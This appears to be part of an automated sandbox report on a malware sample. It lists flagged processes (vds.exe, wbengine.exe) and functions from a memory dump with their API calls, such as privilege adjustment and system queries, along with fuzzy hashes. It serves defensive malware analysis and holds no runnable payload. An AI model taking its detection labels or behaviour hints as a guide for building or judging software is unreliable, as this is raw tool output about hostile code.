Start date:	31/10/2024
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0x100000000
File size:	1'767'424 bytes
MD5 hash:	C0EFE00354E214CCBBB2E4BB24457C5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	11:04:20
Start date:	31/10/2024
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wbengine.exe"
Imagebase:	0x100000000
File size:	2'083'328 bytes
MD5 hash:	5C8D02D23D962F821A26E884633C519A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.4%
Total number of Nodes:	995
Total number of Limit Nodes:	16

Executed Functions

Function 00C8CBD0 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 418COMMON

Download Yara Rule

Strings

d, xrefs: 00C8C294
w, xrefs: 00C8C289

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID: d$w
API String ID: 0-2400632791
Opcode ID: e99784e456696e98d37271849d966446e0e63c95aca599ce96fafe7275963512
Instruction ID: 99f1e0a5b1b2a71f5b2753ee06036f24813c923972c1aeaca94729ab25bfa7fe
Opcode Fuzzy Hash: e99784e456696e98d37271849d966446e0e63c95aca599ce96fafe7275963512
Instruction Fuzzy Hash: A5C11325908340AECE357A648CC9B7A3B649B6276CF484166F676860F3D7349F04E73E

Function 00C92590 Relevance: 19.8, APIs: 13, Instructions: 263
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00C925AF
ProcessIdToSessionId.KERNELBASE(00000000,00000000), ref: 00C925BB
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?), ref: 00C92689
NtQuerySystemInformation.NTDLL(00000005,00000000,00001000,?), ref: 00C926BC
RtlExitUserThread.NTDLL(00000000), ref: 00C92960

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: Process$AdjustCurrentExitInformationPrivilegeQuerySessionSystemThreadUser
String ID:
API String ID: 1117548394-0
Opcode ID: 43e01113b450f72ae64d77a66ade15bced836f4dcb372d43cae6e404d2d0865a
Instruction ID: 70d8d26a36961d078d9bb4ee1c0a768cce01052ad0fa8501d471f83b5cb41870
Opcode Fuzzy Hash: 43e01113b450f72ae64d77a66ade15bced836f4dcb372d43cae6e404d2d0865a
Instruction Fuzzy Hash: BFA1B271108341AFEB10DF64C849B6BB7E8BF95308F04491CF9D4972A1E7B5EA48DB62

Function 00C6CE90 Relevance: 16.2, APIs: 10, Instructions: 1188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b01e3bb1c409f175f49b0137105a47484ce007a794a17b32aa1b27cee2dc021
Instruction ID: ba8e05259bf1df627ac3aaf6b3dc02bf297f2ac65b6fa2862a580ae72335c312
Opcode Fuzzy Hash: 5b01e3bb1c409f175f49b0137105a47484ce007a794a17b32aa1b27cee2dc021
Instruction Fuzzy Hash: FFA27D71A0D3808FC735CB18C8D47AABBE1AFD5318F094959E4EA97292D735AE04C793

Function 00C6B180 Relevance: 6.1, APIs: 4, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 00C6B2BA
WriteFile.KERNELBASE(?,?,00000004,?,00000000), ref: 00C6B2E0

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: ceaf8c3bd6cac6df3c84578681e7764bba4049062d5e3ec6c1d40ede450f85a6
Instruction ID: 78be9c0c23d798c3bde928129d14bd9d26c5f9e2d2272348f97156888985c624
Opcode Fuzzy Hash: ceaf8c3bd6cac6df3c84578681e7764bba4049062d5e3ec6c1d40ede450f85a6
Instruction Fuzzy Hash: A131A37150C380AED7319B2588A472FBFE0AF92714F48856DE4E4C72A1D7B48E88C793

Function 00C87DF0 Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00C87E0F

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 3f8b9b413f952cac86de326b509e4e9044eec3dde93b069b957732846ea211ed
Instruction ID: f81ddc8e0179f8e7a539fb2a4dc0a60edd541e8ed2e3318fdb2316664555bdf9
Opcode Fuzzy Hash: 3f8b9b413f952cac86de326b509e4e9044eec3dde93b069b957732846ea211ed
Instruction Fuzzy Hash: ED21243164C3007BD63577148C06BB93A242F61B1CFB8465BE4A8561D2F664EF0983AF

Function 00C65A3B Relevance: 3.1, APIs: 2, Instructions: 60
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00C655C0,?,00000000,00000000), ref: 00C65A51
RtlExitUserThread.NTDLL(00000000), ref: 00C65B11

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: Thread$CreateExitUser
String ID:
API String ID: 4108186749-0
Opcode ID: cefd21ed31b10466cab51a1df25b9c8b8e423cfcddda4648d2bc1afb7e7f9f72
Instruction ID: 35aa47da5e179bc5c3bda55b8b05b07da21704a581db23b90e2354131bae9217
Opcode Fuzzy Hash: cefd21ed31b10466cab51a1df25b9c8b8e423cfcddda4648d2bc1afb7e7f9f72
Instruction Fuzzy Hash: AE115C2150DBC15FD7378B6848A47267FA01F63720F2D02D6D1F08E1E3C2594E0893A3

Function 00C65D20 Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00C65D6D

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 68c3fecdc8f9677bf4903452b8166acf9f18db288fc8ba63c5b972289ab95fe8
Instruction ID: 538bf04956290f49f527371349e1c1322aaa35a1852a7ede198b76ff230cd507
Opcode Fuzzy Hash: 68c3fecdc8f9677bf4903452b8166acf9f18db288fc8ba63c5b972289ab95fe8
Instruction Fuzzy Hash: 16F08251A08F00FADE3E1768EFDEB792A50AB23728F7C4149A7B15E0F386555F16C902

Function 00C65F10 Relevance: 1.7, APIs: 1, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4d72a85c742947e643b3fe55b89472f86ef7ba7bd7b4472b0e676a66c90557a
Instruction ID: 56c0cc979567d9b2f1539270875524be38274427bec64c074f231b504e2f3149
Opcode Fuzzy Hash: f4d72a85c742947e643b3fe55b89472f86ef7ba7bd7b4472b0e676a66c90557a
Instruction Fuzzy Hash: BD71257190CF809FCF36476884D4635BB606B62324F7C86AAD0B58B1E2D67A8F44C393

Function 00C66490 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d19a7993f7b602059ae037be10fcb9a3ca607e69af37239a3f8e387da1da65
Instruction ID: dd6f74789f1ad8e7f753083b54b056987e8f90d9880bf5de13e2d834e25c5808
Opcode Fuzzy Hash: f7d19a7993f7b602059ae037be10fcb9a3ca607e69af37239a3f8e387da1da65
Instruction Fuzzy Hash: 8531E67190C3409ECB35CB69C4D4339BBA06BA2314F5885AEE1B58B2E2DA758F04D753

Function 00C66086 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00C6608C

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f7e0057779fa60e02662c63ca88362f2113df318f273213fda896e92ce47f423
Instruction ID: 377cf9c41dca62e91fa93d899adc280e6a8ec489639245250482e88b7dd8292b
Opcode Fuzzy Hash: f7e0057779fa60e02662c63ca88362f2113df318f273213fda896e92ce47f423
Instruction Fuzzy Hash: 460192B180D3409ECB358BA5849437ABFB46F57350F198AAAE0B59B1E2D6708F04C757

Non-executed Functions

Function 00CA1361 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00CA1459
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CA1463
UnhandledExceptionFilter.KERNEL32(-00000328), ref: 00CA1470

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ea10b3f6699e9f13676eec3f4a0f7c5eaecab66b47fbd23620b173c03446890a
Instruction ID: 7c8e9641efd9123634256d96838c7d1f5660fb3d8ee57c8ab43e07ec5d651f57
Opcode Fuzzy Hash: ea10b3f6699e9f13676eec3f4a0f7c5eaecab66b47fbd23620b173c03446890a
Instruction Fuzzy Hash: 7831057090122D9BCB21DF68DC89B8CBBB8BF49314F1041DAE81DA7250E7709F818F45

Function 00CA3F3D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,00CA3F13,00000003,00CBDE80,0000000C,00CA403D,00000003,00000002,00000000,?,00CA2038,00000003), ref: 00CA3F5E
TerminateProcess.KERNEL32(00000000,?,00CA3F13,00000003,00CBDE80,0000000C,00CA403D,00000003,00000002,00000000,?,00CA2038,00000003), ref: 00CA3F65
ExitProcess.KERNEL32 ref: 00CA3F77

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2402c664fe019bdde4c8a575d350dcc1d73726e6e40d9aaddc3d86ea14d75fa4
Instruction ID: ea9c5e925c3f626bc11f7d42e7390756becbc878f4b5c0b9d5b5dae7d6b15da3
Opcode Fuzzy Hash: 2402c664fe019bdde4c8a575d350dcc1d73726e6e40d9aaddc3d86ea14d75fa4
Instruction Fuzzy Hash: 4FE04631514989AFCF116FA8DD18B9C3B3AEB4A389F004054F9058B132CB35DE42DA80

Function 00CA39A3 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00CA399E,?,?,00000008,?,?,00CA1CF4,00000000), ref: 00CA3BD0

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 5d47f9c5c6114a5c9124dfef0bdb164270a7b97254bccbedf590f2e7306bcdf9
Instruction ID: 415cd0756b6d51ed2e1f7c5a43926c2870ee2dfc43e61e2a88ebfcbda752eb42
Opcode Fuzzy Hash: 5d47f9c5c6114a5c9124dfef0bdb164270a7b97254bccbedf590f2e7306bcdf9
Instruction Fuzzy Hash: 92B13B3121064A9FD715CF28C49AB657BE1FF46368F258658F8EACF2A1C335DA81CB40

Function 00C9C7F0 Relevance: .9, Instructions: 853COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae65dd3991a9b5ac46256b5404b48492d7f307ffd9b093828504b10bc01e3b7a
Instruction ID: fd5ce8cf32e3a4d425ec82f01faf78001b708c21055c1b9beee9c5e058919382
Opcode Fuzzy Hash: ae65dd3991a9b5ac46256b5404b48492d7f307ffd9b093828504b10bc01e3b7a
Instruction Fuzzy Hash: CD822E76B083108BD748DF19D89075EF7E2ABCC314F1A893DA999E3354DA74EC118B86

Function 00CA00D9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9631a6dff15ec887e3cc4909a19842e784246a2f9ec5ac3588ce3436bab79370
Instruction ID: 9ca864fb29404a1f60e6ef3adb589ca9ca18955a1813e09e81b045cd8639b9f5
Opcode Fuzzy Hash: 9631a6dff15ec887e3cc4909a19842e784246a2f9ec5ac3588ce3436bab79370
Instruction Fuzzy Hash: 8A321631D29F424DD7239634DC62339A248AFB73D9F25D727E82AB5DA6EB28C5C35100

Function 00C651EE Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ecd314b4c5383ae3b665146288c950318f51326a4b3437a406d7ccc6c14070
Instruction ID: f21634d50361b5d4750f6e76c1490ee2b3747c6bfce273fb6e5f26c2aae67828
Opcode Fuzzy Hash: 55ecd314b4c5383ae3b665146288c950318f51326a4b3437a406d7ccc6c14070
Instruction Fuzzy Hash: 56D17F72A187818FC318DE5CC89165AFBE2EBD5300F488A3DE5D6D7785D674E809CB82

Function 00C66EAF Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf6abe3ae1924d79ced2347cf2a35a1b4fa91b2ca7a0e5006e3b059655bbd5e
Instruction ID: cbe88f07253229cc1a968404cb5d9ab376e61c1d4309557935bb8cfef21c82c4
Opcode Fuzzy Hash: 9cf6abe3ae1924d79ced2347cf2a35a1b4fa91b2ca7a0e5006e3b059655bbd5e
Instruction Fuzzy Hash: B9A193B29093109FC344CF1AD88055BBBE2BFC8614F5AC96EF89897315D730E9458F8A

Function 00C95980 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22795c9ed03d84af6dcafcb4bd33591edb2504b77a473f2716c7a4c8c56812e9
Instruction ID: ff6d5df8c18bcbe8fe2101f5cfd884a08bdb116bda97db56ce45bba43b3dbdc4
Opcode Fuzzy Hash: 22795c9ed03d84af6dcafcb4bd33591edb2504b77a473f2716c7a4c8c56812e9
Instruction Fuzzy Hash: 5A6160736197818FC32CCE2CC89145ABBE2EEA521474C8F6DD4D687792D670FA09C792

Function 00C67F80 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c728bee99164b5b1186495849d1251ffa74720add75106275d3e26f3bbc14a
Instruction ID: f069cf3dbaa4afcb886f8c7735813d4ef5d5a9dda88d8abc7961ea4199db4356
Opcode Fuzzy Hash: b6c728bee99164b5b1186495849d1251ffa74720add75106275d3e26f3bbc14a
Instruction Fuzzy Hash: 9F6115359287A44BC3229F39E89137AB394FFD7348F44C73EEA8163650DB24521AC304

Function 00C67B71 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66db58f4eb29b69fef2f8dfd43544d574aaeefd469c2fc30807a07b5bec2bb9
Instruction ID: 007c4c3556dac826b594deb38165e68afb9169c5e423bfd9bfa1252cdb60326c
Opcode Fuzzy Hash: c66db58f4eb29b69fef2f8dfd43544d574aaeefd469c2fc30807a07b5bec2bb9
Instruction Fuzzy Hash: 5A41B6316083558FC728EE69E8E067BB3D1FBC9315F654A7ED6C683280CA386519CB51

Function 00C93780 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33081dabc7f6469ce34c37c8165833aea82e5abc41e973800425e6ee7c24666
Instruction ID: 1f93681bd071c9b310666e60ae9e723361838b6add535ed4ccf0dafbb0d06587
Opcode Fuzzy Hash: b33081dabc7f6469ce34c37c8165833aea82e5abc41e973800425e6ee7c24666
Instruction Fuzzy Hash: 1E4170756183019F8348CF69C58091AFBE2BFCC318F25896EE8999B311D735E942CF92

Function 00C9D580 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c76a15beeee963c4f84a445264956e8a3ca97236d94a4da0cbf7fb091b069d5c
Instruction ID: b5869b5d75bce0de78fe886a00a9b2f8a43124a0caffc1323e520ea091567c1b
Opcode Fuzzy Hash: c76a15beeee963c4f84a445264956e8a3ca97236d94a4da0cbf7fb091b069d5c
Instruction Fuzzy Hash: 4441AF456DE1C21EEB0B0B7190762E2EFF16CAF0487AEAAD9C0D80E203C503C587DB94

Function 00C61130 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00CA24FF Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 00CA2543

Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3090
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30A2
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30B4
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30C6
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30D8
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30EA
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA30FC
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA310E
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3120
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3132
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3144
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3156
Part of subcall function 00CA3073: _free.LIBCMT ref: 00CA3168

_free.LIBCMT ref: 00CA2538

Part of subcall function 00CA2096: HeapFree.KERNEL32(00000000,00000000), ref: 00CA20AC
Part of subcall function 00CA2096: GetLastError.KERNEL32(?,?,00CA3208,?,00000000,?,00000000,?,00CA322F,?,00000007,?,?,00CA2697,?,?), ref: 00CA20BE

_free.LIBCMT ref: 00CA255A
_free.LIBCMT ref: 00CA256F
_free.LIBCMT ref: 00CA257A
_free.LIBCMT ref: 00CA259C
_free.LIBCMT ref: 00CA25AF
_free.LIBCMT ref: 00CA25BD
_free.LIBCMT ref: 00CA25C8
_free.LIBCMT ref: 00CA2600
_free.LIBCMT ref: 00CA2607
_free.LIBCMT ref: 00CA2624
_free.LIBCMT ref: 00CA263C

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 95510f6feddb4f49f7e3c59eda2f3120587e40292c088ab51279d4327d67069f
Instruction ID: a36b09b7a4e83dd22b7ade120379e6635f28742ba2968b1949cf82e116553bc7
Opcode Fuzzy Hash: 95510f6feddb4f49f7e3c59eda2f3120587e40292c088ab51279d4327d67069f
Instruction Fuzzy Hash: 23314A71A003229FEB31AA7CD845B56B3E9FF02319F144429F46AD7151EE71EE80EB50

Function 00CA1A1B Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL(00000000), ref: 00CA1A3E

Strings

log, xrefs: 00CA1AE4, 00CA1AF0
exp, xrefs: 00CA1B03, 00CA1B65
acos, xrefs: 00CA1BB6
asin, xrefs: 00CA1BAA
sqrt, xrefs: 00CA1BC2
pow, xrefs: 00CA1B22, 00CA1BCE, 00CA1BE1
log10, xrefs: 00CA1A88, 00CA1AD8

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 0c2a65344021c28bbbbd6f695bdc4d8d62f0caee28609f02da1b1de9e1d38471
Instruction ID: 1edeff8a2c1c68742f9ef6a8602303d9cc383a1a52c8ad1caa94664e77d9701d
Opcode Fuzzy Hash: 0c2a65344021c28bbbbd6f695bdc4d8d62f0caee28609f02da1b1de9e1d38471
Instruction Fuzzy Hash: A55170B190050BCBCF10DFA9E9486ECBBB4FF4B318F280195D851A7264DB758E24DB68

Function 00CA7B9C Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32 ref: 00CA7BDE
__fassign.LIBCMT ref: 00CA7C59
__fassign.LIBCMT ref: 00CA7C74
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00CA7C9A
WriteFile.KERNEL32(?,?,00000000,00CA8311,00000000), ref: 00CA7CB9
WriteFile.KERNEL32(?,?,00000001,00CA8311,00000000), ref: 00CA7CF2

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8af9fae9a857d60dd6439e6ffac5e8318ae5e6d9c6c1a98847e93d527234cd9e
Instruction ID: d94732d8710d1bcefeca5255f2402c82e6ef6a1141be96b3fd7cbda6a270d143
Opcode Fuzzy Hash: 8af9fae9a857d60dd6439e6ffac5e8318ae5e6d9c6c1a98847e93d527234cd9e
Instruction Fuzzy Hash: 4B518371E0424AAFCB10CFA8DC85BEEBBB4FF0A314F14465AE555E7291D7309941CBA0

Function 00CA3216 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA31DA: _free.LIBCMT ref: 00CA3203

_free.LIBCMT ref: 00CA3264

Part of subcall function 00CA2096: HeapFree.KERNEL32(00000000,00000000), ref: 00CA20AC
Part of subcall function 00CA2096: GetLastError.KERNEL32(?,?,00CA3208,?,00000000,?,00000000,?,00CA322F,?,00000007,?,?,00CA2697,?,?), ref: 00CA20BE

_free.LIBCMT ref: 00CA326F
_free.LIBCMT ref: 00CA327A
_free.LIBCMT ref: 00CA32CE
_free.LIBCMT ref: 00CA32D9
_free.LIBCMT ref: 00CA32E4
_free.LIBCMT ref: 00CA32EF

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction ID: 65e3a00f0b28bca75ee111108ea9841d04af8231db679654762ec0d77eeeab3f
Opcode Fuzzy Hash: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction Fuzzy Hash: E9112E72A40B55AADA31FBB0CC07FCF779CAF07744F404815BBAEA6052DA75B604A650

Function 00CA44E9 Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,00CA473A,?,?,00000000), ref: 00CA4543
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00CA473A,?,?,00000000,?,?,?), ref: 00CA45C9
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00CA46C3
__freea.LIBCMT ref: 00CA46D0

Part of subcall function 00CA32FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 00CA332C

__freea.LIBCMT ref: 00CA46D9
__freea.LIBCMT ref: 00CA46FE

Memory Dump Source

Source File: 00000002.00000002.626120610.0000000000C60000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c60000_armsvc.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
